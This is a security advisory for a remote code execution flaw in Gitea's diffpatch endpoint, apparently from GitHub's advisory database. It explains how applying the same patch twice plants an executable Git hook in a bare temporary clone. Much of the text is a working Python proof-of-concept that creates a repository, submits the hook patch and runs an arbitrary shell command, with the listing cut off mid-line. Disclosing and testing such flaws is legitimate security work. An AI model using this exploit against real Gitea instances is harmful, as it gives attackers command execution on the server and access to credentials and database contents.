GHSA-rcr6-4jqh-j84m Gitea: Remote Code Execution via diffpatch Git Hook Installation

• Go gitea.dev: >= 1.17.0, < 1.27.1 → fixed in 1.27.1

Summary Gitea's `diffpatch` endpoint can be abused to install and execute a Git hook from repository-controlled content. An attacker with ordinary write access to a repository can execute arbitrary shell commands as the Gitea OS user. With default open registration, an unauthenticated visitor can obtain the required write access by registering an account and creating a repository. Details `services/repository/files/patch.go` applies attacker-controlled patches in a shared bare temporary clone: ```go cmdApply := gitcmd.NewCommand("apply", "--index", "--recount", "--cached", "--binary") if git.DefaultFeatures().CheckVersionAtLeast("2.32") { cmdApply.AddArguments("-3") } ```` Submitting the same patch twice creates an add/add collision. Git's three-way fallback checks the indexed path out even though the operation is performed with `--cached`. In a bare clone, the repository root is `$GIT_DIR`. As a result, an executable entry named: ```text hooks/post-index-change ``` becomes a live Git hook. Git invokes the hook while writing the index, allowing repository-controlled content to execute arbitrary commands as the Gitea service account. The hook's return value is not propagated to the `diffpatch` response. The attached PoC stores command output in Git objects and creates a branch containing the result, so no outbound connection is required. The result is fetched through authenticated smart HTTP. PoC The supplied `gitea_diffpatch_rce_poc.py` uses an existing Gitea account. Run it against a test instance where the account can create a repository. Set the account password: ```bash export GITEA_PASSWORD='account-password' ``` Execute a command through the `diffpatch` chain: ```bash python3 ./gitea_diffpatch_rce_poc.py \ https://gitea.example \ pocuser \ 'id; uname -srm; pwd' ``` The script: • Creates an initialized private repository. • Submits the same executable-hook patch twice. • Fetches the result branch. • Prints the command's combined stdout, stderr, and exit status. • Prints the evidence repository, ref, and commit IDs to stderr. Expected output resembles: ```text uid=1000(git) gid=1000(git) groups=1000(git) Linux ... /data/gitea/tmp/... [exit-status=0] ``` The trigger requires: • Git 2.32 or newer. • An enabled `diffpatch` route. • A writable and executable temporary filesystem. Open registration is required only for the no-prior-credentials attack path. Impact This is remote command execution as the Gitea service account (`CWE-94`). Depending on deployment isolation and the privileges of the Gitea OS user, successful exploitation may expose: • `app.ini` and Gitea application secrets. • Process environment secrets. • Mounted repositories. • Database credentials and database contents. • OAuth and integration credentials. • Other internal or externally reachable services. With open registration enabled, the attack can be performed by an unauthenticated visitor after registering a normal account and creating a repository. ```python !/usr/bin/env python3 -*- coding: utf-8 -*- """ Gitea RCE PoC – authorized testing only. """ from __future__ import annotations import argparse import base64 import getpass import hashlib import json import os from pathlib import Path import secrets import shlex import shutil import subprocess import sys import tempfile from typing import Any import urllib.error import urllib.parse import urllib.request TIMEOUT = 30.0 USER_AGENT = "gitea-rce-poc/2.0" _RST = "\033[0m" _DIM = "\033[2m" _GRN = "\033[38;5;46m" # bright green _RED = "\033[31m" # red for errors def _g(t: str) -> str: return f"{_GRN}{t}{_RST}" def _r(t: str) -> str: return f"{_RED}{t}{_RST}" def _d(t: str) -> str: return f"{_DIM}{t}{_RST}" def log_star(msg: str) -> None: print(f"{_g('[*]')} {_d(msg)}") def log_ok (msg: str) -> None: print(f"{_g('[+]')} {_g(msg)}") def log_err (msg: str) -> None: print(f"{_r('[-]')} {_r(msg)}") _SEP = " " + "═" * 44 BANNER = f"{_SEP}\n GITEA REMOTE CODE EXECUTION POC\n{_SEP}" def print_banner(url: str, version: str | None = None, command: str | None = None) -> None: print() for line in BANNER.splitlines(): print(_g(line)) print() ver = version or "unknown" print(_g(" " + "-" * 54)) print(_g(f" Target : {url}")) print(_g(f" Version : {ver}")) if command: print(_g(f" Command : {command}")) print(_g(" " + "-" * 54)) print() class PocError(RuntimeError): pass class GiteaClient: def __init__(self, base_url: str, username: str, password: str) -> None: parsed = urllib.parse.urlsplit(base_url) if parsed.scheme not in {"http", "https"} or not parsed.netloc: raise PocError("URL must be an absolute http:// or https:// URL") if parsed.query or parsed.fragment: raise PocError("URL must not contain a query string or fragment") self.base_url = base_url.rstrip("/") self.username = username self.password = password encoded = base64.b64encode( f"{username}:{password}".encode() ).decode("ascii") self.authorization = f"Basic {encoded}" def api( self, method: str, path: str, payload: dict[str, Any] | None = None, ) -> tuple[int, Any]: data = None if payload is not None: data = json.dumps(payload, separators=(",", ":")).encode() req = urllib.request.Request( self.base_url + path, data=data, method=method, headers={ "Accept": "application/json", "Authorization": self.authorization, "Content-Type": "application/json", "User-Agent": USER_AGENT, }, ) try: with urllib.request.urlopen(req, timeout=TIMEOUT) as r: raw = r.read() return r.status, json.loads(raw) if raw else None except urllib.error.HTTPError as exc: body = exc.read().decode("utf-8", errors="replace")[:2_000] raise PocError(f"{method} {path} → HTTP {exc.code}: {body}") from exc except urllib.error.URLError as exc: raise PocError(f"{method} {path} failed: {exc.reason}") from exc except json.JSONDecodeError: raise PocError(f"{method} {path} returned invalid JSON") def blob_oid(content: bytes) -> str: return hashlib.sha1( f"blob {len(content)}\0".encode("ascii") + content ).hexdigest() def build_hook(command: str, leak_ref: str) -> bytes: qcmd = shlex.quote(command) qref = shlex.quote(f"refs/heads/{leak_ref}") return ( "#!/bin/sh\n" 'git_dir=$(git rev-parse --absolute-git-dir) || exit 1\n' 'origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2\n' 'case "$origin_objects" in\n' ' /*) ;;\n' ' *) origin_objects="$git_dir/objects/$origin_objects" ;;\n' "esac\n" 'origin_git=${origin_objects%/objects}\n' '[ "$origin_git" != "$origin_objects" ] || exit 3\n' f"output_blob=$({{ /bin/sh -c {qcmd}; " 'command_status=$?; printf "\\n[exit-status=%s]\\n" "$command_status"; } 2>&1 | ' 'git --git-dir="$origin_git" hash-object -w --stdin) || exit 4\n' 'tree=$(printf "100644 blob %s\\toutput\\n" "$output_blob" | ' 'git --git-dir="$origin_git" mktree) || exit 5\n' 'commit=$(printf "command output\\n" | ' "GIT_AUTHOR_NAME=poc [email protected] " "GIT_COMMITTER_NAME=poc [email protected] " 'git --git-dir="$origin_git" commit-tree "$tree") || exit 6\n' f'git --git-dir="$origin_git" update-ref {qref} "$c…